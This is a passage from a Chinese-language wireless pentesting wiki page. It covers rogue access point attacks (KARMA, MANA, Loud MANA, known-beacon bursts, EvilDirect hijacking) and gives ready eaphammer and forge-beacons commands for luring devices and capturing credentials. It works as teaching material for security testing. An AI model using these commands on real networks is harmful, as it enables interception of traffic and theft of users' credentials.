[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```bash
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
### KARMA
此方法允许**攻击者创建一个恶意接入点AP对所有探测请求做出响应**,这些请求来自寻求连接网络的设备。此技术**通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP**。一旦设备向这个流氓AP发送连接请求它就会完成连接导致设备错误地连接到攻击者的网络。
### MANA
然后,**设备开始忽略不可靠的网络响应**降低了原始karma攻击的有效性。然而一种新的方法被引入称为**MANA攻击**由Ian de Villiers和Dominic White提出。此方法涉及流氓AP**通过对设备的广播探测请求做出响应捕获设备的首选网络列表PNL**并使用设备之前已知的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了对原始karma攻击的保护。
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称并将此信息添加到列表中。当收到广播请求时AP会以与设备列表中任何网络匹配的信息做出响应诱使设备连接到流氓AP。
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
一个**Loud MANA 攻击**是一种高级策略适用于设备不使用定向探测或其首选网络列表PNL对攻击者未知的情况。它的原理是**同一区域内的设备可能在其 PNL 中共享一些网络名称**。该攻击不是选择性响应,而是对所有观察到的设备的组合 PNL 中找到的每个网络名称ESSID广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点AP的机会。
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### 已知信标攻击
**Loud MANA 攻击** 可能不足以满足需求时,**已知信标攻击** 提供了另一种方法。此方法 **通过模拟一个响应任何网络名称的 AP 来暴力破解连接过程,循环遍历从字典中派生的潜在 ESSID 列表**。这模拟了多个网络的存在,希望能在受害者的 PNL 中匹配到一个 ESSID从而促使尝试连接到伪造的 AP。通过将其与 `--loud` 选项结合,可以增强攻击力度,以更具侵略性地捕获设备。
Eaphammer 将此攻击实现为 MANA 攻击,其中列表中的所有 ESSID 都被激活(您也可以将其与 `--loud` 结合,以创建 Loud MANA + 已知信标攻击):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**已知信标突发攻击**
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合使用时。该技术利用速度和数量来压倒设备的网络选择机制。
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
## Wi-Fi Direct
**Wi-Fi Direct** 是一种协议,使设备能够直接通过 Wi-Fi 连接,而无需传统的无线接入点。此功能集成在各种物联网 (IoT) 设备中如打印机和电视促进设备之间的直接通信。Wi-Fi Direct 的一个显著特点是一个设备充当接入点,称为组所有者,以管理连接。
Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,支持多种安全配对方法,包括:
- **Push-Button Configuration (PBC)**
- **PIN 输入**
- **近场通信 (NFC)**
这些方法,特别是 PIN 输入,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞的影响,使其成为类似攻击向量的目标。
### EvilDirect Hijacking
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它反映了 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行通过指定通道、ESSID 和被冒充设备的 MAC 地址:
## References
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
{{#include ../../banners/hacktricks-training.md}}